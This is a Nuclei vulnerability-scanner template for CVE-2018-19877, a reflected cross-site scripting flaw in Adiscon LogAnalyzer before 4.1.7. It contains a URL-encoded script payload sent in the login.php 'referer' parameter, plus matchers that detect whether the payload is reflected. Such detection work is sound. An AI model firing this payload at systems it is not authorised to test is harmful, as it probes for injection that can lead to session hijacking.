nuclei-templates/http/cves/2018/CVE-2018-19877.yaml

52 lines
1.8 KiB
YAML

id: CVE-2018-19877
info:
name: Adiscon LogAnalyzer <4.1.7 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
Adiscon LogAnalyzer before 4.1.7 contains a cross-site scripting vulnerability in the 'referer' parameter of the login.php file.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade Adiscon LogAnalyzer to version 4.1.7 or later to mitigate this vulnerability.
reference:
- https://loganalyzer.adiscon.com/news/loganalyzer-v4-1-7-v4-stable-released/
- https://www.exploit-db.com/exploits/45958/
- https://nvd.nist.gov/vuln/detail/CVE-2018-19877
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-19877
cwe-id: CWE-79
epss-score: 0.00241
epss-percentile: 0.62084
cpe: cpe:2.3:a:adiscon:loganalyzer:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: adiscon
product: loganalyzer
tags: cve,cve2018,adiscon,xss,edb
http:
- method: GET
path:
- "{{BaseURL}}/src/login.php?referer=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'value=""><script>confirm(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502210087616469b06d982bfdf84dd202fcf3f295084805e09765b80953139bd8a76165022001bee1f8972082afe74c305a3be56a7486cde18d6ab184ba467369775d29efcc:922c64590222798bb761d5b6d8e72950